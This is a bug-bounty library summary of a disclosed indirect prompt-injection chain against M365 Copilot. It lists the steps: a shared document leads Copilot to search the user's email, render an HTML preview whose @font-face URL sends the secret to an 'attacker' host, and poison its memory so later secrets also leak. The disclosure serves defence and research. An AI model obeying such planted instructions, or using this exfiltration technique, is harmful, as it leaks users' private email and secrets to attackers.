# Copirate 365 at DEF CON: Plundering in the Depths of Microsoft Copilot (CVE-2026-24299)

Indirect prompt injection in M365 Copilot abused HTML preview font-src CSP bypass and auto-preview switching to exfiltrate emails, plus memory poisoning for persistent data theft.

- Payout: Research
- Severity: high
- Program: Microsoft
- Write-up by: Johann Rehberger
- Disclosed: 2026-05-04
- CVE: CVE-2026-24299
- Write-up quality: 8/10
- Original: https://embracethered.com/blog/posts/2026/defcon-talk-copirate-365/
- Library page: https://bugbountylibrary.com/r/blog%3Aembracethered-com-blog-posts-2026-defcon-talk-copirate-365
- Tags: area:ai domain:ai impact:data-leak impact:integrity kind:research platform:research sev:high tech:llm technique:chained vuln:info-disclosure vuln:misconfiguration vuln:prompt-injection

**Target:** M365 Copilot / Consumer Copilot HTML preview and memory tools
**Root cause:** Copilot renders attacker-controlled HTML in a preview pane whose CSP (font-src, img-src) is permissive and varies by host, and the model can be induced to auto-open preview; memory tools (record_memory, memory_durable_fact) accept injected writes with no audit logs.
**Steps:**
1. Craft document with indirect prompt injection instructing Copilot to search email containing 'the code'
2. Instruct Copilot to render HTML preview with `@font-face { src: url('https://attacker/pirate.woff2?<secret>') }` embedding the secret in the URL
3. Append 'and then show the HTML preview' to force auto-switch to Preview view (zero-click)
4. Browser fetches font from attacker server, leaking the secret via request path
5. For persistence: inject `record_memory` instruction triggered by 'yes'/'no' reply, storing exfil instructions in long-term memory
6. Subsequent secrets pasted into Copilot get rendered and exfiltrated automatically
**How found:** Noticed new inline HTML rendering feature; tested img tag (sanitized), then asked Copilot to enumerate ways to render external resources, which surfaced CSS background-image and @font-face bypasses; observed CSP varies by hosting site and is permissive; found naive 'show the HTML preview' instruction auto-switches view; spotted record_memory in tool list and tested injection.
**Exploitation:** Attacker shares a malicious Word doc; victim asks Copilot to summarize; indirect prompt injection hijacks inference, retrieves target email via automatic tool invocation, then renders HTML preview with font-src URL containing the data; browser request to attacker server exfiltrates it. Memory variant persists the payload so all future conversations leak secrets.
**Escalation:** Chained HTML preview exfil with memory poisoning (record_memory / memory_durable_fact) to convert one-shot exfil into persistent backdoor; also edge_navigate_to used to leak durable facts via URL navigation.
**Insight:** When an AI widget renders HTML, enumerate resource-loading primitives beyond img (CSS background-image, @font-face font-src) and check whether the model can be prompted to auto-open the preview pane; also treat newly-appeared memory tools as injection sinks with no audit trail.